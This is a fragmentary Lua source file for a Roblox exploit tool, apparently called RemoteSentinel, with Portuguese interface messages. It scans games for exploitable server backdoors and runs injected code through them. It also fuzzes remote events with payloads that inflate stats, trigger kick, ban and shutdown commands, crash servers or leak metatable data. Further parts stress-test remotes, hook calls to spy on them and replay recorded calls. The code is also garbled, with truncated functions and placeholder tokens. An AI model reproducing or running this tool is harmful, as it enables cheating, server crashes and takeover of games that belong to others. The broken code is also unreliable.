URSTRING_TO_BACKDOOR[dummyName] = g
[Link](r, dummyName)
end
[Link](0.25)
end
end)
if canDebug then
local token = urString(5, Workspace)
code = EXEC_DEBUG:format(code, token)
gateway:Execute(gateway, code)
[Link]:Wait()
[Link] = false
Core:Log("Execução finalizada.", 0)
end
function BackdoorRunner:ClearResults()
local list = [Link]
for _,v in ipairs(list:GetChildren()) do
if v:IsA("TextButton") then v:Destroy() end
end
[Link] = [Link](0,0,0,0)
end
function BackdoorRunner:AddResult(gateway)
local list = [Link]
local fullName = gateway.b:GetFullName()
btn.MouseButton1Click:Connect(function()
[Link] = gateway
[Link]:Log("Backdoor selecionado: " .. fullName, 1)
for _, child in ipairs(list:GetChildren()) do
if child:IsA("TextButton") then
child.BackgroundColor3 = [Link]
end
end
btn.BackgroundColor3 = [Link]
end)
[Link]()
if list and [Link] then
[Link] = [Link](0, 0, 0,
[Link].Y)
end
end
function BackdoorRunner:StartScan()
if [Link] then
[Link]:Log("Uma varredura já está em progresso.", 2)
return
end
self:ClearResults()
[Link] = true
[Link] = nil
[Link](function()
local startTime = tick()
local backdoor = self:_internal_scan()
if backdoor then
self:AddResult(backdoor)
[Link] = backdoor
[Link]:Log([Link]("Backdoor encontrado: %s",
backdoor.b:GetFullName()), 5)
[Link] = "Status: Backdoor
encontrado!"
else
[Link]:Log("Nenhum backdoor explorável encontrado.",
2)
[Link] = "Status: Nenhum
backdoor encontrado."
end
function BackdoorRunner:StartExecution()
if [Link] then return end
[Link](function()
self:_internal_execute(code, [Link], [Link])
end)
end
function BackdoorRunner:ToggleDebug()
[Link] = not [Link]
local state, color = [Link] and "ON" or "OFF", [Link] and
[Link] or [Link]
[Link] = "Debug Mode: " .. state
[Link].TextColor3 = color
[Link]:Log("O modo de depuração do backdoor agora está " ..
state, 2)
end
end
[Link] = {
HeuristicAnalysis = false,
AdaptiveFuzzing = false,
LastSuccessfulFuzz = nil,
PayloadFamilies = {
moderation = {"kick", "ban", "kill", "slay", "mute", "unban", "shutdown",
"warn", "respawn", "jail", "freeze", "explode"},
stats = {"setstat", "addstat", "givestat", "set", "add", "give", "cash",
"money", "points", "gems", "strength", "rebirth", "level", "xp", "exp",
"setleaderstat"},
teleport = {"tp", "teleport", "bring", "goto", "warp"},
admin = {"admin", "mod", "owner", "god", "fly", "noclip", "speed",
"btools", "GiveItem", "SetData", "execute", "run", "char", "unchar", "superadmin"},
}
}
function [Link]:GetPayloads(profileName)
local localPlayerName = LocalPlayer and [Link] or "Player1"
local nan, inf = 0/0, 1/0
local prefixes = {":", ";", "!", "/", ".", "m/", "e/", "s/"}
local playerInstance = LocalPlayer and [Link]
local profiles = {
Basic = {
{""}, {0}, {1}, {-1}, {true}, {false}, {nil}, {{}}, {"test"},
{LocalPlayer}, {playerInstance}
},
['Manipulação de Stats'] = {
{"SetStat", "Cash", 9e15}, {"AddStat", "Money", 1e12}, {"give", "Cash",
9e15},
{"set", "Points", 9e15}, {"Rebirth", 1000}, {"add", "Gems", -9e15},
{"set", "Strength", "inf"}, {"add", "Level", 9999},
{"setstat", localPlayerName, "Cash", 9e15}, {"GiveItem", "AdminSword",
1},
{"setvalue", "all", "Cash", 9e15}, {"SetData", "Money", 1e18},
{"setleaderstat", "Cash", 9e9}
},
['Destrutivo / Crash'] = {
{nan}, {inf}, {-inf}, {[Link]("A", 2^15)}, {nil, "some_action"},
{[Link](inf, inf, inf)}, {[Link](nan,nan,nan)},
{[Link](nan,nan,nan)},
{playerInstance, playerInstance, playerInstance}
},
['Incompatibilidade de Tipos'] = {
{123, "string", true}, {[Link](), [Link]()},
{[Link](1,1,1,1)}, {[Link](1,0,1)},
{[Link]},
{{key="value"}, {1,2,3}}, {function() print("exploited") end}
},
['Exploração de Metatables'] = {
{setmetatable({}, {__index = function(t,k) error("Leak via __index:
"..tostring(k)) end})},
{setmetatable({}, {__newindex = function(t,k,v) error("Leak via
__newindex on key: "..tostring(k)) end})},
{setmetatable({}, {__namecall = function(...) local a = {...};
[Link](a, 1, "Leaked Namecall:"); error([Link](a, " ")) end})},
{setmetatable({}, {__tostring = function(t) error("Leak via
__tostring") end})},
{setmetatable({}, {__call = function(...) error("Leak via __call")
end})},
{setmetatable({}, {__metatable = "locked"})},
{setmetatable({}, {__gc = function() while true do end end})}
},
function [Link]:GenerateAdaptivePayloads(basePayload)
local newPayloads = {}
local arg_string, arg_number, arg_player = nil, nil, nil
if arg_string then
for familyName, keywords in pairs([Link]) do
if find(keywords, arg_string:lower()) then
[Link]:Log("Adaptando-se à família de payload:
"..familyName, 6)
for _, newKeyword in ipairs(keywords) do
if newKeyword ~= arg_string then
local newPayload = {[Link](basePayload)}
newPayload[1] = newKeyword
[Link](newPayloads, newPayload)
end
end
break
end
end
end
if arg_number then
local numbers_to_try = {9e9, -9e9, 0, 1, -1, 1337, 9e15}
for _, num in ipairs(numbers_to_try) do
local newPayload = {[Link](basePayload)}
newPayload[#newPayload] = num
[Link](newPayloads, newPayload)
end
end
return newPayloads
end
if isVulnerable then
local payloadStr = [Link]:Serialize(payload)
[Link]:Log([Link]("VULN Heurístico: Payload `%s`
retornou resposta positiva: `%s`", payloadStr, resultStr), 5)
[Link] = {remoteData = remoteData, payload = payload,
result = result}
if [Link] then
local adaptivePayloads = self:GenerateAdaptivePayloads(payload)
if #adaptivePayloads > 0 then
[Link]:Log("Gerando "..#adaptivePayloads.." novos
payloads adaptativos...", 6)
[Link](function()
for _, newPayload in ipairs(adaptivePayloads) do
[Link]:Execute(remoteData, newPayload,
function(s, r, a) self:AnalyzeAndAdapt(remoteData, a, s, r) end)
[Link]([Link])
end
end)
end
end
end
end
[Link]([Link])
end
function [Link]:StressTest(remoteData)
if not remoteData or not [Link] then
return [Link]:Log("Instância inválida para o teste de
estresse.", 3)
end
local payload = {}
pcall(function()
local func = loadstring([Link])
local s, p = pcall(func)
if s and type(p) == "table" then
payload = p
end
end)
if #payload == 0 then
[Link]:Log("Usando payload vazio para o teste de estresse.",
2)
end
[Link](function()
local endTime = tick() + 5
local fireCount = 0
[Link]:Execute(remoteData, payload)
fireCount = fireCount + 1
[Link]()
end
[Link] = {}
function [Link]:ToggleSpy(remoteData)
if not [Link] then
return [Link]:Log("`hookfunction` não está disponível no seu
executor.", 3)
end
if [Link][key] then
pcall(unhookfunction, inst[[Link][key].method])
[Link][key] = nil
[Link] = false
[Link]:Log("Spy desativado para: " .. inst:GetFullName(), 2)
else
local method = ([Link]:find("Event") and
([Link]:find("Bindable") and "Fire" or "FireServer")) or
([Link]:find("Function") and ([Link]:find("Bindable") and
"Invoke" or "InvokeServer"))
local originalFunc
local success, err = pcall(function()
originalFunc = hookfunction(inst[method], newcclosure(function(...)
local args = {...}
if [Link] then
local spyMsg = [Link]("SPY: %s(%s)", inst:GetFullName(),
[Link]:Serialize(args))
[Link]:Log(spyMsg, 4)
if [Link] and
[Link] and
[Link] == [Link] then
[Link]:RecordCall(args)
end
end
return originalFunc(...)
end))
end)
[Link]:PopulateList(false)
end
[Link] = {
IsRecording = false,
RecordedCalls = {}
}
function [Link]:ToggleRecording()
[Link] = not [Link]
local gui = [Link]
if [Link] then
if not [Link] then
[Link] = false
[Link]:Log("Selecione um remote antes de gravar.", 3)
return
end
function [Link]:RecordCall(args)
[Link]([Link], args)
local frame = [Link]
create("TextLabel", {
Text = [Link]("[%d] %s", #[Link],
[Link]:Serialize(args)),
Font = [Link],
TextSize = 12,
TextColor3 = [Link],
Size = [Link](1, -10, 0, 14),
AutomaticSize = [Link].Y,
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = frame
})
[Link]()
if frame and [Link] then
[Link] = [Link](0, 0, 0, [Link].Y)
end
end
function [Link]:ReplayAll()
if not [Link] then
return [Link]:Log("Selecione um remote para dar replay.", 3)
end
if #[Link] == 0 then
return [Link]:Log("Nenhuma chamada gravada.", 2)
end
[Link](function()
for i, args in ipairs([Link]) do
if not [Link] or not
[Link] then
[Link]:Log("Instância do replay se tornou inválida.
Abortando.", 3)
break
end
[Link]:Log("Replay finalizado.", 1)
end)
end
function [Link]:Clear()
[Link] = {}
local frame = [Link]
local children = frame:GetChildren()
for _, v in ipairs(children) do
if [Link] ~= "Layout" then
v:Destroy()
end
end
[Link] = [Link](0,0,0,0)
[Link]:Log("Gravação limpa.", 1)
end
[Link] = {}
[Link] = {}
function [Link]:Highlight(source)
if not pcall(loadstring, "return " .. source) and not pcall(loadstring, source)
then
return "<font color='#"..[Link]:ToHex().."'>ERROR: Could not
load source code.</font>"
end
return source
end
function [Link]:ClearResults()
local resultsFrame = [Link]
local children = resultsFrame:GetChildren()
for _,v in ipairs(children) do
if [Link] ~= "Layout" then
v:Destroy()
end
end
[Link] = [Link](0,0,0,0)
end
if onClick then
item.MouseButton1Click:Connect(onClick)
end
[Link]()
if resultsFrame and [Link] then
[Link] = [Link](0, 0, 0,
[Link].Y)
end
end
[Link](function()
local source, success, model
if assetId then
success, model = pcall([Link], InsertService, assetId)
if not success or not model then
self:AddResult("ERRO: Não foi possível carregar o asset. Pode estar
off-sale ou ser inválido.", [Link])
return
end
pcall([Link], model)
else
success, source = pcall(function() return [Link] end)
if not success then
self:AddResult("ERRO: Não foi possível ler a propriedade .Source. O
acesso pode estar bloqueado.", [Link])
return
end
end
if source then
self:AddResult("Código carregado. Analisando...", [Link])
[Link]()
local highlightedSource = [Link]:Highlight(source)
self:AddResult(highlightedSource, [Link])
end
end)
end
function [Link]:ScanForBackdoors()
self:ClearResults()
[Link]:Log("Procurando por backdoors comuns...", 0)
self:AddResult("<b>-- Scan de Backdoors (require, loadstring, getfenv) --</b>",
[Link])
[Link](function()
local button = [Link]
[Link] = "Verificando..."
[Link] = false
local found = 0
local patterns = {
require = "require%s*%((%s*(%d+)%s*)%)",
loadstring = "(loadstring)",
getfenv = "(getfenv)",
getmenv = "(getmenv)"
}
for _, s in ipairs(game:GetDescendants()) do
if s:IsA("Script") or s:IsA("LocalScript") or s:IsA("ModuleScript")
then
local success, source = pcall(function() return [Link] end)
if success and source then
for pName, pattern in pairs(patterns) do
for match in source:gmatch(pattern) do
found = found + 1
local path = s:GetFullName()
local colorHex = [Link]:ToHex()
local text
self:AddResult(text, [Link],
function()
self:ShowSource(s)
end)
break
end
end
end
function [Link]:ScanForStaticPatterns()
self:ClearResults()
[Link]:Log("Iniciando análise estática de LocalScripts...", 0)
self:AddResult("<b>-- Análise Estática de Chamadas de Remote --</b>",
[Link])
[Link](function()
local button = [Link]
[Link] = "Verificando..."
[Link] = false
local found = 0
local patterns = {
FireServer = "([:.]FireServer%s*%)",
InvokeServer = "([:.]InvokeServer%s*%)",
HttpRequest = "([:.]RequestAsync%s*%)"
}
for _, s in ipairs(game:GetDescendants()) do
if s:IsA("LocalScript") then
local success, source = pcall(function() return [Link] end)
if success and source then
for pName, pattern in pairs(patterns) do
if source:find(pattern) then
for line in source:gmatch("[^\n]+") do
if line:find(pattern) then
found = found + 1
local path = s:GetFullName()
local colorHex = [Link]:ToHex()
local text = [Link]("STATIC: `%s` em
<font color='#%s'>%s</font>", pName, colorHex, path)
self:AddResult(text, [Link],
function()
self:ShowSource(s)
end)
break
end
end
end
end
end
if found % 50 == 0 then
[Link]()
end
end
end
function [Link]:ScanForAdminSystems()
self:ClearResults()
[Link]:Log("Scanning for common admin systems...", 0)
self:AddResult("<b>-- Scan for Common Admin Systems --</b>",
[Link])
local found = 0
local adminSystems = {"HDAdmin", "Adonis", "BasicAdmin", "KohlAdmin", "Cmdr",
"Zeus", "EvolveAdmin", "SenciaAdmin"}
function [Link]:ScanForInsecurePatterns()
self:ClearResults()
[Link]:Log("Scanning for insecure remote patterns...", 0)
self:AddResult("<b>-- Scan for Insecure Remote Patterns --</b>",
[Link])
local found = 0
[Link](function()
for _, remoteData in ipairs([Link]) do
if [Link] and [Link] then
if
[Link]:IsDescendantOf(LocalPlayer:FindFirstChildOfClass("PlayerGui"))
then
found = found + 1
self:AddResult([Link]("WARN: Remote found inside
PlayerGui: <font color='#%s'>%s</font>", [Link]:ToHex(),
[Link]:GetFullName()), [Link])
end
if [Link] == Workspace or
[Link] == game:GetService("Lighting") then
found = found + 1
self:AddResult([Link]("WARN: Remote found directly in
%s: <font color='#%s'>%s</font>", [Link],
[Link]:ToHex(), [Link]:GetFullName()),
[Link])
end
end
end
function [Link]:ScanForAntiCheat()
self:ClearResults()
[Link]:Log("Scanning for common anti-cheat patterns...", 0)
self:AddResult("<b>-- Scan for Anti-Cheat Patterns --</b>",
[Link])
[Link](function()
local button = [Link]
[Link] = "Verificando..."
[Link] = false
local found = 0
local patterns = {
"WalkSpeed", "[Link]", "AssemblyLinearVelocity",
"JumpPower",
"noclip", "fly", "speed", "exploit", "cheat", "hack", "admin", "cmds",
"while wait()", "while [Link]()"
}
for _, s in ipairs(game:GetDescendants()) do
if s:IsA("LocalScript") then
local success, source = pcall(function() return [Link] end)
if success and source then
for _, pattern in pairs(patterns) do
if source:lower():find(pattern:lower(), 1, true) then
found = found + 1
local path = s:GetFullName()
local colorHex = [Link]:ToHex()
self:AddResult([Link]("SUSPECT: Pattern `%s`
found in <font color='#%s'>%s</font>", pattern, colorHex, path),
[Link], function()
self:ShowSource(s)
end)
break
end
end
end
if found % 50 == 0 then
[Link]()
end
end
end
function [Link]:MemoryScanForReferences()
if not [Link] then
return [Link]:Log("`getgc` não está disponível no seu
executor.", 3)
end
[Link](function()
local button = [Link]
[Link] = false
[Link] = "Verificando..."
local found = 0
local gc = getgc(true)
for i, f in ipairs(gc) do
if type(f) == "function" and (not
[Link] or not is_c_function(f)) then
local success, upvalues = pcall(getupvalues, f)
if success then
for _, upval in ipairs(upvalues) do
if upval == remoteInstance then
found = found + 1
local info = [Link](f)
self:AddResult([Link]("REF: Encontrada em função
em %s:%s", info.short_src or "unknown", [Link] or "?"),
[Link])
break
end
end
end
if i % 1000 == 0 then
[Link]()
end
end
end
[Link] = {}
function [Link]:AnalyzeLogic()
if not [Link] then
return [Link]:Log("Nenhuma chamada de fuzz bem-sucedida.
Execute o fuzzer com heurística primeiro.", 3)
end
[Link](function()
addResult("\n<b>-- Testando Contagem de Argumentos --</b>",
[Link])
local lessArgs = {[Link](originalPayload, 1, #originalPayload - 1)}
[Link](0.1)
[Link](0.1)
function RemoteSentinel:Initialize()
[Link] = pcall(function() local f = function() end; local nf
= hookfunction(f, function() end); unhookfunction(f); return true end)
[Link] = pcall(getgc)
[Link] = pcall(is_c_function, print)
[Link] = [Link] and
pcall([Link], HttpService, "[Link]
[Link]:Create()
local mainTab = [Link]:CreateTab("Main")
local backdoorTab = [Link]:CreateTab("Backdoor")
local fuzzerTab = [Link]:CreateTab("Fuzzer")
local scannerTab = [Link]:CreateTab("Scanners")
local networkTab = [Link]:CreateTab("Network")
local recorderTab = [Link]:CreateTab("Recorder")
local advancedTab = [Link]:CreateTab("Advanced")
[Link]:SetupMainTab(mainTab)
[Link]:SetupBackdoorTab(backdoorTab)
[Link]:SetupFuzzerTab(fuzzerTab)
[Link]:SetupScannerTab(scannerTab)
[Link]:SetupNetworkTab(networkTab)
[Link]:SetupRecorderTab(recorderTab)
[Link]:SetupAdvancedTab(advancedTab)
[Link].MouseButton1Click:Connect(function()
[Link]:PopulateList(true) end)
[Link]:GetPropertyChangedSignal("Text"):Connect(function()
[Link]:PopulateList(false) end)
[Link].MouseButton1Click:Connect(function()
[Link]:StartScan() end)
[Link].MouseButton1Click:Connect(function()
[Link]:StartExecution() end)
[Link].MouseButton1Click:Connect(function()
[Link]:ToggleDebug() end)
[Link].MouseButton1Click:Connect(function()
if not [Link] then return [Link]:Log("Nenhum remote
selecionado para o fuzz.", 3) end
local dropdown = [Link]
if [Link] == 0 then return [Link]:Log("Selecione um
perfil de fuzz.", 3) end
local selectedProfile = [Link][[Link]]
[Link]:Run([Link], selectedProfile)
end)
[Link].MouseButton1Click:Connect(function()
if not [Link] then return [Link]:Log("Nenhum remote
selecionado para o teste de estresse.", 3) end
[Link]:StressTest([Link])
end)
[Link].MouseButton1Click:Connect(function()
if not [Link] then return [Link]:Log("Nenhum remote
selecionado para executar o payload.", 3) end
[Link]:ExecutePayload()
end)
local function setupToggle(button, flagName, logName)
button.MouseButton1Click:Connect(function()
[Link][flagName] = not [Link][flagName]
local state, color = [Link][flagName] and "ON" or "OFF",
[Link][flagName] and [Link] or [Link]
[Link] = logName..": " .. state
button.TextColor3 = color
[Link]:Log(logName.." Analysis está agora " .. state, 2)
end)
end
setupToggle([Link], "HeuristicAnalysis", "Heuristics")
setupToggle([Link], "AdaptiveFuzzing", "Adaptive")
[Link].MouseButton1Click:Connect(function()
[Link]:ScanForBackdoors() end)
[Link].MouseButton1Click:Connect(function()
[Link]:ScanForStaticPatterns() end)
[Link].MouseButton1Click:Connect(function()
[Link]:ScanForAdminSystems() end)
[Link].MouseButton1Click:Connect(function()
[Link]:ScanForInsecurePatterns() end)
[Link].MouseButton1Click:Connect(function()
[Link]:ScanForAntiCheat() end)
[Link].MouseButton1Click:Connect(function()
[Link]:MemoryScanForReferences() end)
[Link].MouseButton1Click:Connect(function()
[Link]:AttemptRequireInjection() end)
[Link].MouseButton1Click:Connect(function()
[Link]:SendHttpRequest() end)
[Link].MouseButton1Click:Connect(function()
[Link]:ToggleRecording() end)
[Link].MouseButton1Click:Connect(function()
[Link]:ReplayAll() end)
[Link].MouseButton1Click:Connect(function()
[Link]:Clear() end)
[Link].MouseButton1Click:Connect(function()
[Link]:AnalyzeLogic() end)
[Link]:Connect(function(msg, msgType)
if msgType == [Link] and not msg:find("The current
identity") then
[Link]:Log("ERRO DE SCRIPT DO SERVIDOR: " .. msg:sub(1, 200), 5)
end
end)
[Link]()
local firstTabButton = [Link]:GetChildren()[1]
if firstTabButton and firstTabButton:IsA("TextButton") then
firstTabButton.MouseButton1Click:Wait()
end
[Link]:PopulateList(true)
[Link]:Log("Pronto. Selecione um remote e escolha uma ação.", 1)